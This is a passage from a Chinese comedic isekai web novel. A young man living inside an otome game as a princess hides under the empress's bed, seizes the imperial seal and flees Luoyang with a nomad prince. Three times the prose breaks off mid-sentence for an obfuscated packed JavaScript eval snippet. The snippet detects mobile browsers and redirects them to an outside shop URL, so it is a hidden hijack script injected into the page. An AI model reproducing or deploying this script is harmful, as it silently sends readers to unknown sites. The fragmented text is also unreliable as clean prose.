虽然名义上他是姬无瑕游戏里的父亲,姬无瑕却差点拍手叫好。一方面这老头先是卖女儿,然后又把“女儿”推下城墙,本来就不是什么好东西;另一方面他的死也给姬无瑕登基空出了龙椅,减少了一个障碍。就不知道他到底是怎么死的,有没有立太子什么的。 姬无瑕侧耳细听,想听听上面的皇后怎么议论。床底下灯光不好,萧骁见他突然静了,犹豫了一瞬,伸手在他脸颊上擦了擦。 手指是干的,一滴眼泪都没有。 姬无瑕:“……” 姬无瑕终于破功,深吸一口气,萧骁马上死死捂住他的嘴巴,把他的爆笑堵回肚子里。姬无瑕像打嗝一般,身体剧烈抽搐,萧骁赶紧一手捂嘴一手抱腰,防止他滚下去,那表情极为无奈,像是“快让我死了吧”。 姬无瑕像条离了水的鱼,弹跳着闷笑了好久,外面又传来杂乱声响,有人打着火把来敲门,道:“皇后娘娘,臣太宗段氏有十万火急的事情求见。” 床上两人也一惊,皇后急道:“段大人稍候,本宫已睡下了,需要稍作更衣。” 窸窸窣窣的衣服响,姬无瑕还没意识到发生了什么,床围就一掀,一名只穿里衣的男子钻进了床底下。 姬无瑕:“……” 萧骁:“……” 皇后的情夫:“……” 情夫面白无须,看着像个太监。但既然能跟皇后偷情,肯定不能是真太监,可能是胡子去毛去得比较干净。 姬无瑕挥手跟那情夫打了个招呼,萧骁用一种极其不信任的眼神盯着情夫,把姬无瑕的手拽回来,摁在自己肚子上。 情夫也很惊讶,差点叫出声来。他看了看姬无瑕,沉吟片刻,似乎认出了他的身份,又去看萧骁的金狼面具,面上现出震惊的神色。 叫你骚包戴个金面具,现在穿帮了吧?姬无瑕腹诽。 床里三人各有心思,床外皇后开门,请那位段太宗进来叙话。 前面的邹司徒姬无瑕就没搞明白是什么官,别说这位段太宗了,反正是什么大官吧?姬无瑕玩游戏从来不仔细读背景设定,一般能知道是个官就可以通关。 段太宗道:“皇后,臣听闻山陵崩塌,便连夜进宫来找皇后商议,社稷乃天下大事,须早做打算。” 皇后其实一心只想偷情,最好没人来烦她,没想到现在居然要她打算天下大事了。她努力做出惊慌的神情:“这,这可如何是好啊,我一个妇道人家也做不了主,要么还是请太宰召集群臣商议吧。” 段太宗冷笑道:“太宰什么心思,皇后不知道,臣可是知道得一清二楚。如今陛下已薨,未有太子,皇家血脉不盛,就连庶出的皇子、皇侄都没有一个,某些人的算盘珠子打得都要飞出去了。” 哎?姬无瑕心道,按这个说法,白璧公主岂不是唯一的皇室血脉继承人?这么容易就能完成登基的任务? 皇后忧心忡忡道:“确实未有继承人。那依太宗说,该如何处理?” 段太宗道:“如今之计,唯有令白璧公主招驸马,入赘皇家,再续皇室血脉。” 皇后:“啊?” 床下的姬无瑕心道:招什么驸马,没必要那么麻烦,让我自己登基不就挺好的吗? 皇后问:“不知白璧公主现在何处?” 姬无瑕:在你床底下呢。出来跟你打个招呼? 情夫看姬无瑕跃跃欲试要出去,马上伸手阻住他的动作。 段太宗道:“白璧公主被金狼王子劫走,但应该尚在人间。” 皇后:“如何得知?” 段太宗:“传说白璧公主乃是九天玄女下凡转世,死后会化作白色蝴蝶回归天际。今日并无人见到白色蝴蝶,所以她定然还活着。” 姬无瑕:……这理由不错,承蒙抬爱了! 皇后抚胸:“白璧公主无事,那可太好了,祖宗护佑我大周。” 段太宗咳嗽了两声,似乎觉得大周皇帝刚挂,怎么也说不上是祖宗护佑,但也不太好当面反驳皇后。 段太宗道:“如今当务之急,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375741|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要让太宰掌握朝政,从而架空娘娘,拥立外人。” 姬无瑕大概听懂了,现在老皇帝挂了,这太宗是一派,太宰是另一派,太宗斗不过太宰,特地连夜过来找皇后拉帮结派。只是不知道他这位便宜父皇到底是怎么挂的,两人聊了半天也没提及,可见是不重要,没人关心一个死人,即便生前曾是天下之主。 皇后的角色就像个捧哏,马上又问:“那怎么能不让太宰掌控朝政呢?” 段太宗没说话,好像做了什么动作。屋内光影摇曳,皇后突然惊叫:“啊,这是……” 姬无瑕实在忍不住好奇心,想掀开床围往外偷看,但掀床围就要越过那情夫,萧骁是断断不肯让他爬到别人的情夫身上的,两人在床下无声无息地拆招片刻,只听得皇后终于把话说全了:“这可是天子玉玺啊!” 姬无瑕一愣。天子玉玺象征着天下正统,是登基的重要道具。他记得在游戏的剧情里,白璧公主是到登基前夜,才从一名前朝重臣那里逼问出玉玺的下落。杜姜还为此动用了一些不光彩的手段,最后将将赶上了登基大典。 而他穿越的这一次,玉玺这么早就出现了,难道是一种蝴蝶效应? 进度顺利过头,姬无瑕飘飘然都有点不会玩了。这枚送上门来的玉玺,他是一定要拿到手的。 段太宗道:“不错,此物正是天子玉玺。玉玺拿在咱们手里,太宰不管拥立谁,都缺了几分名正言顺。咱们再暗中找回白璧公主,让她传承皇室血脉,双剑合璧,再无破绽,定能挫败太宰的阴谋。” 皇后道:“太宗大人所言甚是。只是这公主驸马的人选却不好确定。陛下,不,先皇在世时,曾把她指婚给镇东大将军公孙衡,不如就……” 姬无瑕想,公孙衡身材很好,为人老实,又隐约还与白璧有些青梅竹马的关系。虽然青梅竹马的实际不是自己,但只要与登基任务不冲突,姬无瑕并不介意顺便去泡一泡公孙衡。 段太宗:“嗯……其实不瞒娘娘说,老夫尚未娶妻。” 皇后诧异道:“太宗夫人呢?过年时大宴上还见过的。” 段太宗正色道:“她进门先迈左脚,不成体统。老夫提醒数次她也不改正,已被我休弃了。” 姬无瑕马上吐了,把段太宗跟皇帝一同划归死老头行列。 皇后道:“太宗夫人……不正是太宰大人的亲妹妹?” 皇后言下之意:这能说休就休吗? 段太宗道:“反正老臣也打算跟太宰决裂了,不差这几天。” 皇后道:“好吧,不过本宫听闻公孙衡对公主用情至深,怕不是那么好相与的……” 对啊!姬无瑕心道,那大胸将军肯定听我的。 皇后眼见着段太宗神色不悦,改口说:“要么公主驸马的人选改日再议,还是先把玉玺藏起来吧。要不就藏在……藏在……”皇后险些要说藏在床底下,还好反应过来自己的情夫还在床底,改口道,“藏在衣柜中吧!” 段太宗道:“衣柜里会有宫人翻动,还是藏在床底下吧!”说着,他就往床的方向走了过来。 5. 萧骁:10 皇后赶忙道:“哎哎哎……” 但是她不及阻拦段太宗,段太宗已经伸手掀床围了。 正在此时,外头院子里响起一声女人的怒喝:“段老头!你敢跑皇宫里来偷情?!不把老娘放在眼里是吧?!” 段太宗脸色剧变,惊呼道:“不好,我夫人来了!” 皇后瞠目结舌,看到段太宗动作利索得像个年轻小伙子,“嗖”地钻进了床底下。 皇后:“……” 床底三人:“……” 姬无瑕:还好宫里的床比较大,床底塞四个人都塞得下。 紧接着,太宗夫人已经踹门进来了。姬无瑕听到脚步声繁乱,说明她还不是一个人来的,可能带了不少帮手。她哥哥是太宰,娘家势力极大,一向在这洛阳城中说一不二,进宫跟皇后发飙都毫不含糊。 皇后衣衫穿得轻薄,被踹门的冷风一吹,不悦道:“宫廷禁地,有话好好说。” 太宗夫人气极反笑:“想不到你连皇家的脸面都不要,陛下归天,尸首未寒,就开始勾搭已婚臣子!” 皇后在陛下没归天时就开始勾搭了,太宗夫人还是格局不够大。然而勾搭段太宗这种干瘪老头子,实在是品位上的奇耻大辱,能不能骂点好的?皇后马上怒道:“你这是血口喷人!” 床底的姬无瑕想:这都什么事儿啊。算了算了,先把玉玺拿到手。床底空间就那么大,玉玺就拿在段太宗手里。姬无瑕向情夫抬了抬脚,示意他要么让路,要么自己就踢他。情夫擅长察言观色,马上麻溜滚到床底位置去,于是姬无瑕再无阻碍,劈手一夺,就把玉玺抢了过来。 段太宗抬手要揍他,姬无瑕早有准备,一脚踹向他的老腰。姬无瑕本来打算把段太宗踹出床外的,却不想他扒在地上,扒得还挺牢,只把他的两只脚踹了出去,上半身还在床围里面。 床外面的骂战正处于白热化阶段,太宗夫人和皇后都没注意多出来的这两只脚。 太宗夫人叉腰:“我的眼线看到那老色鬼进这宫了!” 皇后道:“本宫没见着!再说段太宗不是已经休了你这泼妇了吗?!” 太宗夫人尖叫道:“他敢!我把休书扇他脸上!” 段太宗赶忙把自己的脚缩了回来,一脸怒气要过来撕姬无瑕,夺回玉玺。姬无瑕往内侧一滚,萧骁便出手将段太宗摁倒,将他的脸摁地砖上摩擦。 皇后也大声道:“你自家男人,自己不看好,来找我要?!” 段太宗还在挣扎,姬无瑕心想,这老乌龟不如让他老婆带回家修理吧,于是抬了抬腿,示意萧骁踹他。 萧骁疑惑地也抬了抬腿。 姬无瑕指了指段太宗,于是萧骁会意,运足内力,脚下生风,恶狠狠一脚,将段太宗如脱了缰的炮弹一般踹出了床,撞到对面墙才缓缓滑落。 现世报来得快。太宗夫人:“……” 皇后:“……” 太宗夫人深吸一口气,道:“老不死的,原来你躲在床底下!” 皇后急忙撇清关系:“什么时候躲进去的!我真不知道啊!” 太宗夫人控诉的声音响彻寰宇:“奸夫淫.妇,现在捉奸在床,人赃并获,我要去找陛下为我做主!” 她说完这句,在场的人突然都想起来,陛下,陛下已经归天了。 段太宗在一团乱麻中抓到了要点:“皇后,玉玺……” 姬无瑕意识到他马上就要说玉玺被自己抢走的事,情急之下,只能使用床下最后的道具:他把情夫也飞速踹了出去! 无辜的情夫正在侧耳倾听,并庆幸被捉奸的不是自己,不想祸从天降……好吧倒也不是很无辜,但确实事出突然,他就被踹了出去! 屋子里满当当都是跟着太宗夫人来捉奸的人,这时候集体一愣。 太宗夫人脖子僵硬地扭转,看了看皇后,看了看太宗,又看了看情夫,想起皇后确实说过不知情。她对皇后还是有人与人之间基本的信任的,此刻思路接通,福至心灵,道:“好啊!原来是我错怪皇后了,你这老色鬼不学好,倒学会了玩太监,跟个阉人在床底下偷情呢!” 她大手一挥,对随从们说:“给我上!” 随从们:“夫人,上哪个?” 太宗夫人豪气道:“两个!” 随从们好歹知道太宗的身份,虽然太宗夫人吩咐两个都打,也对太宗出工不出力。但情夫就不一样了,一个太监,有什么打不得的?于是个个都下了狠手,将那情夫揍得鬼哭狼嚎。 只有皇后真心疼情夫,道:“别啊,别打死,揍几下意思意思就行了啊!哎打人别打脸……” 于是皇后的情夫以段太宗情夫的名义挨了一顿胖揍,虽然阴错阳差,好歹大体明目没错。 情夫嗷一嗓子跑了,众人纷纷追出了屋子。 段太宗道:“等等,我有话说!” 太宗夫人:“还想给你那男狐狸精求情?”她上来左右开弓,啪啪给了段太宗俩耳光,段太宗被打得一口气顺不上来,差点被痰噎住。太宗夫人紧接着一拧他耳朵,不分青红皂白拖走了。 霎时间所有人走得干干净净,只剩下姬无瑕和萧骁,姬无瑕抱着玉玺,施施然爬出床底。 萧骁道:“你去哪里?你们大周的玉玺不是小事,等会儿尘埃落定,段太宗一定会告诉给皇后,派兵来捉你。” 姬无瑕瞄了他一眼,心道:你怎么知道?我就是要让他报给皇后,皇后正在找白璧公主,自然会把我从你手上救回去。至于今日床底的恩怨情仇,只得来日再想办法。 萧骁的面具上金光一闪,说:“你在等着皇后派人救你?被救回去你想嫁谁?” 姬无瑕略有迟疑,嫁给那大胸的公孙衡就挺好,但是也有被迫嫁给段太宗的风险……要么还是跟着萧骁走?不对!我是个男的,我为什么要纠结嫁人的问题?我应该考虑登基以后要娶谁啊! 姬无瑕是个成年人了,他马上下定决心:我全要。但首先还是登基吧,理想要远大,行动要脚踏实地。 萧骁见他一脸遐思,不禁怒火中烧,捉住姬无瑕的手,迫使他转过身来面对自己。姬无瑕看到萧骁的脸近在眼前,而且明显在吸气准备喷火,不得不战术后仰,俩人摆好了一个探戈的经典姿势。 萧骁深深吸完这口气,怒吼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375742|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我说的是反问句你听不懂吗?!还真纠结要嫁给谁?!你刚摸过我身体了,就要对我负责,别想跑了!” 姬无瑕被萧骁怒吼的口水喷了一脸,赶忙道:“没有没有,我哪敢啊……”他推萧骁胸口,萧骁一脸不满地放开,姬无瑕倒退半步,“啊”的一声,被正殿那堆散落在地上的衣服绊了个趔趄。 萧骁出手如电,拽住他前襟,避免他摔到后脑勺,本来已经傻里傻气,再摔可不得了。 “谢谢啊。”姬无瑕没脸没皮地说,想把衣服扯回来,但萧骁不放手。姬无瑕一边扯一边晓之以理动之以情:“这位王子,你是真喜欢我吗?虽然我没记住你是哪族的,但反正是个游牧民族,生活条件必然不咋样,比不上我们大周……” 姬无瑕偷瞄萧骁的脸色,并隔衣摸了摸怀里的玉玺:“你看现在玉玺也有了,我还是唯一的皇室继承人,你要是真喜欢我呢,就助我登基,事成之后我立你为皇后,岂不是两全其美?” 说完他挑眉期待地看着萧骁,你这下该被我打动了吧?想不到萧骁脸黑得像锅底:“还用等到事成之后?” 啊?什么意思? 下一刻,萧骁手臂一紧,揽住姬无瑕不盈一握的细腰,伸手便去解他腰间的蝴蝶结。 姬无瑕惊了,不讲理也不带直接用强的吧?!这是什么狗血强制爱剧本?!他条件反射地拼命挣扎,放开嗓子大喊:“非礼啊非礼了!” 萧骁恶狠狠道:“叫破喉咙也没人来救你!” 姬无瑕又叫:“破喉咙破喉咙……” 他身上这套公主装结构太复杂,很费料子,束带绕了好些圈。饶是萧骁把姬无瑕转成了一个陀螺,一时半会儿也没解开。稍后他不耐烦了,改为粗暴地扯姬无瑕衣襟。 姬无瑕的注意力马上从自己的贞操转移到自己的皇位上,喊道:“哎玉玺,当心我的玉玺!” 玉玺从他怀里滚出来,沉甸甸地下落,姬无瑕连忙缩脚。 玉玺咣当一声掉在地上,两人都没管。 姬无瑕的衣带长得像根裹脚布,萧骁跟抽鞭子似的一甩,抖出一道波浪,冷冷道:“谁稀罕非礼你,给我换衣服!你这一身出去,一路上谁不知道你是公主?” 姬无瑕顿时有些失望,啊原来只是平平无奇换衣服啊。怦怦乱跳的心放回去了。姬无瑕说:“你盯着我,我不好意思脱,你先转过去。” 萧骁道:“转过去你又跑了。” 姬无瑕心道算了,大家都是男的还不知谁占谁的便宜。他把腰带拉扯半天,发现这腰带就像一团乱麻,刚才萧骁没解开,他自己也解不开。 姬无瑕:“……” 萧骁一瞬间嘴角露出一点笑意,但马上憋回冷脸:“你早上怎么穿上去的?” 姬无瑕嘴上装傻:“不是我穿的,是宫女给我穿的。” 姬无瑕心想:我怎么会知道它怎么穿上去的,是系统自动给我穿的,系统还给我植了一头长发呢! 想到这里,姬无瑕心中一惊,系统能给他瞬间长出长发来,会不会…… 姬无瑕战战兢兢地往自己身下摸。萧骁:“???!!!” 6.萧骁:15 事急从权,姬无瑕也顾不上萧骁的侧目了,鹰爪手往身下狠抓一把——它还在!还好还好。姬无瑕长长地松了一口气。 萧骁:“……” 现在轮到萧骁的神色像被雷劈了一样,萧骁看看他下面,裙子很厚,什么都看不出来。 姬无瑕:“嘿嘿嘿。” 萧骁眨眨眼睛:“你,白璧,你有……那个?” 姬无瑕笑成了一朵贱贱盛开的花:“嗯哼?现在还打算劫持我吗?” 马上,他的笑容就僵在了脸上,系统提示:“萧骁好感度从10点上升至15点。” 姬无瑕完全没想到,萧骁竟然对他的性别接受良好! 萧骁道:“我族先祖往上数三十代,倒也不是没出过身为男子的大阏氏。其实男子更好,当初那位大阏氏便与其夫君一同驰骋草原,上阵杀敌,实乃人生快事。” 萧骁露出心驰神往的神色,姬无瑕:……这男同史还挺讲道理。 萧骁又道:“要成为我族大阏氏,首先要貌若天仙,大单于喜欢,其他都可将就。” 萧骁认真地看着姬无瑕,姬无瑕不禁心中一动。他穿越前虽然长得也还清秀可人,但碍于基佬圈遍地飘零的惨淡现实,完全没找到过合适的男朋友,只有一堆女孩子抢着当他姐姐。 穿成这乙游公主后,虽然鼻子还是那个鼻子,眼睛还是那个眼睛,却不知怎的整个人都像在发光,类似于一种万人迷光环,让他身边是个男人都忍不住盯着他看。像萧骁这种肩宽腰窄明显练过的劲爆身材,这种“我家有的是钱”的霸道总裁气质,姬无瑕在现实中是绝对高攀不起的。 姬无瑕不自觉有点心猿意马,其实萧骁也挺好的,自己就非要登这个基吗…… 紧接着,萧骁就说:“本王子喜欢你,多出点东西也无所谓,剁了就行。” 姬无瑕:“……” 草,白动心了,还是赶紧跑路吧,命根子要紧。 待老子登基之日,就令萧贵妃“剁了就行”,姬无瑕暗下决心。 最后萧骁掏出弯刀把姬无瑕的束带割了,姬无瑕才脱下来这件公主外袍。他刚要脱里衣,萧骁说:“里衣不用换。” 姬无瑕道:“这裤子没有那个洞……鸟洞,路上解手不方便。” 萧骁:“……” 姬无瑕接着脱,萧骁不知怎的,还是把脸转过去了。 姬无瑕心道,不敢看了?是不是担心爷爷脱了比你还大?他嘿嘿地换上一套太监装束,踢了两下腿,比公主装方便多了,跑路也能快一些。 姬无瑕道:“换好了,你转过来吧。” 萧骁一转身,反倒是姬无瑕吓了一跳,他竟然把那张金狼面具摘了! 面具下的萧骁高鼻深目,英俊非常。他的瞳孔是澄净的孔雀绿色,顾盼之间带着专注的深情与神秘感。 下巴微长,形状也很完美,有一种傲慢的居高临下……唯一的问题是面具戴久了,下半边脸的肤色好像比上半深了一些,看着像胡茬没怎么剃干净。 萧骁见他眼神,道:“怎么,爱上我了?” 姬无瑕低头看看自己这一身太监装,莫名有点陪太子读书的自惭形秽。 为什么萧骁会看上自己?因为脸?因为白璧公主远播的艳名?还是因为乙游的某些默认设定? 打住!姬无瑕想,不过是给我嫖的纸片人,怎么还思考上人生了? 萧骁解释道:“虽然我的面容不轻易给人看,但现在要带你回塞外,未免多生事端还是摘了。” 姬无瑕:“喔,你有没有发过那种誓,谁看到你的脸就得娶你?”就像武侠小说里一样。 萧骁蹙眉:“什么乱七八糟的!换好了吗?换好就快走!” 姬无瑕道:“那你为什么戴面具……” 萧骁倒拖着姬无瑕,姬无瑕看到地上一个散开的包裹,这才想起来:“等等等等,我玉玺!差点忘了!” 他冲回去捡起地上的玉玺,试图重新包好,发现玉玺在地上磕掉了一个角。 姬无瑕:“……” 萧骁:“你们汉人的东西这么不经摔?” 姬无瑕道:“不,就玉玺特殊……” 玉玺啊玉玺,你是有什么一定会磕掉角的出厂设定吗? 不管怎么说,姬无瑕还是把玉玺连带那个珍贵的角角包起来了,揣在怀里,衣服凸出来一大块。 萧骁简直没眼看他,自己也披了件正常的汉人侍卫服,把惹眼的强壮手臂遮挡住。两人绕出宫殿,萧骁猛地停步。 姬无瑕:“怎么了?那边有宫墙,咱们从那边爬出去吧。” 萧瑟寒风吹过,萧骁悲愤道:“我的马呢?你们汉人怎么还偷马?” 姬无瑕这才想起来设定中还有一匹马:“你把马停在这么显眼的地方,刚才那波宫人看到肯定牵走了咯。” “我的鹅黄是西域的汗血宝马!我父王送给我的神驹!”萧骁面色不善,“要不是你突然逃跑,我也不会把马仓促地停在这里,不停在这里就不会丢,你就是罪魁祸首!” 姬无瑕:“哎君子动口不动手啊,你你你别过来!你就不该来中原,这才是问题的关键!” 两人围着殿前的石狮子打转,姬无瑕又道:“咱们可以再找匹马啊!” 萧骁:“普通的马怎么比得上鹅黄?” 姬无瑕:“实在不行我给你骑吧?” 萧骁简直无语了,气道:“你……” 正在这时,马蹄声脆响,萧骁那匹淡黄色的马轻快地从殿后跑回来了。 萧骁这才作罢:“算了,放过你了。” 姬无瑕泪流满面,感谢马大爷,感谢您出去遛弯还知道回来。 然而问题立刻又来了,两人打算翻宫墙,但马翻不过宫墙去。 姬无瑕道:“你看,这马还是丢了的好,现在你打算怎么办?硬闯宫门还是遗弃你的鹅黄?” 姬无瑕幸灾乐祸,刚才是城刚破宫门一片混乱,现在讲不定有守卫了,自己被救萧骁被抓的概率又高了几分。 但萧骁道:“没关系,鹅黄也能翻墙。” 姬无瑕:“啊?” 萧骁示意要抱姬无瑕翻墙,姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382603|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无瑕莫名想起先前城门口公孙衡抱邹司徒那个胖子飞不起来的惨剧,连连摆手,道:“我自己能过去!” 其实翻墙是男大学生必修课,毕竟墙头才是宿舍正门,宿舍门只是个摆设。不过姬无瑕自己独自翻的时候还真不多,经常就是王亮或者别的室友拖着他出去吃夜宵,酒足饭饱再托他翻墙回来。 但萧骁不放过他,拦腰一个公主抱,也没见怎么使力,姬无瑕便觉得身体轻飘飘地飞了起来,下一秒就骑在了墙头上。 姬无瑕上了墙头下意识地四处张望,看有没有教导主任巡夜的手电光,果然没有。 接着他就骑墙坐好,打算欣赏萧骁御马越过宫墙的英姿了。宫墙有三米多高,按理说一匹马要跳过来是十分反常的。但是这里是乙游,一个幻想世界,还存在轻功,万一发生什么马能跳三米高或者飞跃十几米悬崖的事情也不稀奇,就当看了个电影特效。 萧骁搂着鹅黄的头,亲密地说了几句话,拍了拍它的背。 姬无瑕想,这是不骑了,让马自己跳?也合理吧。 紧接着,他看到萧骁横抱起将近一吨重的高头大马,姿势跟抱姬无瑕一模一样,四足朝天。萧骁吐气扬声,“嘿”的一声把马扔过了墙。 鹅黄从骑墙的姬无瑕面前飞过,一人一马四目相对的瞬间,马似乎还向他挤了挤眼睛。姬无瑕:“……” 萧骁自己也翻上来,抱着姬无瑕跳到墙外马背上,缰绳一拉,双人共骑御马而去。 - 姬无瑕定了定神,对萧骁心生仰慕,还真是一位塞外猛男!鹅黄神骏,两人风驰电掣就到了城门口。城门已被大周军队占了回去,此时正值清晨,不少卫兵在严查昨日进城的奸细。 姬无瑕又打起鬼主意来,萧骁这外貌,说是异族人也不太像,只是有点混血,可能不一定会被抓,得想个什么办法…… 他正想着,萧骁从背后伸手过来,在姬无瑕嘴唇上一抹,抹到一手口脂,又反手涂在自己脸上,把自己涂成了一张红脸。 “噗!”姬无瑕笑了出来。但是这样卫兵就更看不出萧骁是个外族人了。 他从远处观察盘查的卫兵,发现他们手中拿着图样,正是萧骁的面具。姬无瑕心中产生了一个想法。 “快抓住他!他就是萧骁!”姬无瑕在队列中突然大喊道。 “萧骁是谁?”守卫们一脸疑惑。 他们根本不知道他的名字!姬无瑕:“……他就是那个……什么族来着……”他倏然发现,自己压根就不知道萧骁是哪族的!似乎听皇后提起过,但是自己的历史不咋地,完全没记住! 萧骁面无表情,一个硬邦邦的东西从背后抵住了姬无瑕的腰。姬无瑕脑海中浮现出萧骁那把弯刀。 他要杀掉我?!姬无瑕的心情急转直下,冷汗冒了出来。游戏的男主会杀主控?这太荒谬了!不可能!可是万一……自己会死吗?还是会弹回现实世界? 姬无瑕剧烈喘息起来,脑海中一片空白。几名守卫虽未听说过萧骁的名字,却觉得这骑马的二人组十分可疑,围成小半圈上来盘查。 7.萧骁:15 年轻的守卫们逐渐靠近他们,有人大叫起来:“等等,这是内监的衣服!你是从宫里逃出来的?” 抵着姬无瑕的弯刀离开他的身体,但同时,一种利刃出鞘的森寒感觉透过姬无瑕的衣服,渗入他的后背。姬无瑕心脏怦怦狂跳,眼前浮现出萧骁在此大开杀戒、血流成河的场景。不行!他自己不想死,同样也不想看到别人死在面前。 姬无瑕挤出一丝微笑——虽然神色勉强,但加上他那惊世绝俗的艳丽容貌加成,依然楚楚动人。 姬无瑕道:“各位……各位大哥,小的确是宫里当差得不错。现遵白璧公主的旨意出城办事,我身后这位是公主的侍卫,来护送我的。” “可有公主谕旨?”守卫的小队长问。 姬无瑕一手背在身后,捉住萧骁的大手,一根一根掰开他的手指,把弯刀缓缓摁回刀鞘。他听到萧骁用鼻音轻轻“哼”了一声。 姬无瑕心中稍定,听上去萧骁已经放弃了强行杀过去的打算。 姬无瑕对着小队长,面露难色道:“公主不识字,自然也不会有手谕,但这里有公主的信物一件……” 他前面换衣服时,藏了一枚自己头上摘下来的造型古朴的玉簪,现下掏出来,塞在小队长手里,并向他推了一推,示意这是给他的。 “一点薄礼,不成敬意。”姬无瑕笑着低声道。 小队长的神色明显是犹豫了,顿了一下,把玉簪握紧,挥拳令人放他们走。 姬无瑕提起的心终于落地,与萧骁一同提着马缰绳,策马向前。 两人路过城门下,突然城上冲下来一个人,穿着太监衣服,对着守卫大喊:“这两人是刺杀陛下的逆贼,拿下,拿下他们!” 姬无瑕蓦然回头,发现竟是皇后那情夫,与他们在床底有一面之缘的! 情夫刚挨过一场揍,目前还是鼻青脸肿,脑袋斜包着一条绷带,胳膊上挂着夹板。可能是皇后把他救出来以后,分派他来监督守城,远离撕逼中心。 姬无瑕对这情夫倒没有太多意见,甚至还有点小过意不去,但情夫手指指着的方向不是萧骁,而是姬无瑕自己,此时守卫迅速搭箭,要把姬无瑕一并乱箭射死! 姬无瑕不及细想,跳过萧骁直接指挥了他的马:“驾,驾!鹅黄,快跑啊!” 情夫愤恨之下,一瘸一拐地冲到城门前,竟打算用身体强行阻挡奔马。他气得脸色都扭曲了,用一根拐杖指着姬无瑕。 姬无瑕莫名其妙:你有这么恨我?! 纸片人的恨让他产生了一种诡异的心理落差。你有什么资格恨我?你们凭什么敢杀我? 思绪一晃而过,姬无瑕下意识地一扯鹅黄缰绳,鹅黄大声嘶鸣,从情夫脑门上跃了过去。 情夫愤恨地抬头看向空中的姬无瑕,萧骁弯刀出鞘,俯身去砍那情夫。姬无瑕猛扯他的衣袖,萧骁:“嗯?” 姬无瑕对萧骁微微摇头,萧骁弯刀一摆,以双腿控马,竟换手抓住那情夫的衣领,将他凌空提了起来! 身后守卫方才反应过来,大喊道:“保护皇后派来的监军大人!” 然而监军的情夫在萧骁手上,守卫们投鼠忌器。加上鹅黄神俊,风驰电掣地带着一串三人冲出城门,背后的箭矢纷纷落空。 鹅黄在城外的旷野跑远了,洛阳城逐渐成为地平线上的一个小黑点,萧骁才令鹅黄停下来,并把情夫扔在地上。 “为什么不杀他?”萧骁问,“现在怎么办?” “放了吧。”姬无瑕恻然道,“罪不至死。” 还没等萧骁答话,情夫反而破口大骂起来:“别以为你放了我,我就会感激涕零!我跟你往日无怨近日无仇,你非要踹我那一脚,我,我恨你一辈子!” 姬无瑕淡淡道:“你自己跟皇后偷情,挨揍也不冤。你多半猜到了我的身份,是的,我就是白璧,我身边这位就是你们口中的金狼王子。若是我父王还活着,知道此事,肯定要将你千刀万剐,以泄心头之恨。” 情夫道:“不错!但他已死了!死人没有发言权!而且别忘了,若他活着,你也会被嫁给不知道哪个老男人,做他权力交易的工具!” 姬无瑕心想倒也是,差点就做了。 情夫在地上崩溃地大叫:“你为什么要揭发我?!我不过是靠‘哔——’混口饭吃,我容易吗我?!” 姬无瑕毫无诚意地说:“抱歉哦。” 情夫道:“不光如此!我的名声都毁了!从此皇后也不敢跟我频繁幽会了!想不到靠裙带关系上位也能工作不稳定……” 姬无瑕陪他叹了口气。 姬无瑕道:“人在江湖,身不由己,你看这位大哥……”他指了指萧骁,“他还抓着我呢,就连生为公主也不安逸。” 情夫若有所思,陪姬无瑕也叹了口气。 后来,情夫就走了,孤零零地走回洛阳城去。姬无瑕惆怅地看着他的背影,想到以后还不知道有没有机会再见,连他的名字都不知道。 萧骁道:“你刚才在城门那里演得挺像的,小太监。” 姬无瑕随口道:“过奖过奖。” 他有点想问萧骁,如果自己刚才拼死反抗,萧骁会不会真的一刀杀了他,就像杀那情夫一样。这问题在他脑中盘旋许久,终于还是咽回腹中。 罢了,不过是纸片人,不必这么真情实感。 但萧骁却主动道:“我没想杀你。我是狄人,又不是冷血无情的杀人狂,你我既已相识,即便你背叛我,我也不见得下得去手。” “但你想杀其他人。”姬无瑕道。 “不错,如果他们继续阻拦,我就杀穿他们。”萧骁道,“你心疼你的族人?白璧,方才是你救了他们的命,那些卫兵,以及那名假太监。” 姬无瑕心道,好说,我可真是个圣母。 他人恹恹的,在游戏中熬了个通宵,大起大落太刺激,此时忍不住接连不断地打哈欠,继而靠在萧骁身上阖上了眼。 萧骁抱着他,轻声问:“你怎么知道我名字?” 姬无瑕心道,游戏里写的。姬无瑕半睡半醒地装傻:“你真叫萧骁?” 萧骁蹙眉道:“这是我的汉人名字,我平时不叫这个,只有我娘才会用这个名字。你到底是从何得知的?难道说……” 姬无瑕许久不答。 